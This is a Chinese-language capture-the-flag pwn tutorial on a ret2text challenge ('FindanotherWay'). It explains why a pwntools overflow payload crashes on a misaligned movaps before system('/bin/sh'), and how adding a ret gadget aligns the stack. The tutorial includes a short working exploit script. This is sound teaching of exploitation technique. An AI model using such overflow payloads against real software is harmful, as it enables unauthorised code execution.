Index
- 介绍
- 知识要点
- 正文
介绍
在 Pwn 的学习中,对于初学者常常会遇到这个问题:
找到了溢出点,并且知道如何溢出,但是不知道为什么自己的Payload并没有成功,Pwntools报错EOF:
今天趁着有时间,来仔细研究一下为什么会发生这种情况。
知识要点
xmm 寄存器要求内存地址对齐,对齐由内存位数决定,本文中为16字节对齐。
正文
首先我随手拽了一题很简单的ret2text。
FindanotherWay
可以看到是真的基础的那种。然后我们使用EXP:
from PwnModules import *
binary = './FindanotherWay'
io = process(binary)
#io = remote('node5.anna.nssctf.cn', 28852)
elf = ELF(binary)
Padding = b'A' * (12 + 0x08)
# 0x401230 是本题的backdoor函数。
Payload = Padding + p64(0x401230)
debug(io)
io.sendline(Payload)
io.interactive()
然后就EOF了,为什么呢?
打开GDB,开始逐步调试:
在还没执行read函数之前是这样的,然后我们调试到下一步。(中间跳过了几步,因为我觉得没啥必要)
可以看到现在我们的RBX已经被Payload覆盖。
这是即将执行system(‘/bin/sh’)的时候:
可以看到似乎没有什么异常情况,RDI寄存器的值是/bin/sh
,RAX寄存器也为0,而看起来同样的这段就能正确执行
继续执行,程序会抛出SIGSEGV
错误,卡在指令:
movaps xmmword ptr [rsp + 0x50], xmm0
处。
通过谷歌我们可以得知:
x86 Instruction Set Reference
When the source or destination operand is a memory operand, the operand must be aligned on a 16-byte boundary or a general-protection exception (#GP) is generated.
当操作数或源操作数是内存地址时,内存地址必须为16字节对齐。(不固定,但是这个情况是16字节对齐。)
看看参数部分:[rsp + 0x50], xmm0
很显然我们的rsp不是16字节对齐的,16字节对齐的意思就是地址末尾以0结束,比如上文中的0x7ffc685c2970
,就是以0结尾的。
也就是说,我们需要使我们的RSP地址16字节对齐才能成功执行这段语句:movaps xmmword ptr [rsp + 0x50], xmm0
。
回过来,我们提到了ret。那么ret的作用是什么呢?
正常函数一般逻辑是这样的:
endbr64
push rbp
mov rbp, rsp
lea rdi, aCongratulation ; "Congratulations , now you find another "...
call _puts
lea rdi, aHereIsMyGiftEn ; "Here is my gift , enjoy yourself"
call _puts
lea rdi, command ; "/bin/sh"
mov eax, 0
call _system
nop
pop rbp
retn
返回地址与ret是如何处理的呢?
是这样的:
call和ret的实现逻辑可以大概视为进行了这样的操作(严格来说是错误的,只是实际上实现了差不多的逻辑。):
# call
push rip
jmp addr
# ret
pop rip
jump rip
我们尝试在Payload中加上ret
指令。
可以发现变成了这样,执行了2遍ret。
并且这个操作不会影响我们的ROP链的执行,因为相当于原地踏步了一次,同时还对齐了RSP地址。
因此最简单的栈对齐方式就是通过添加一个ret
gadget。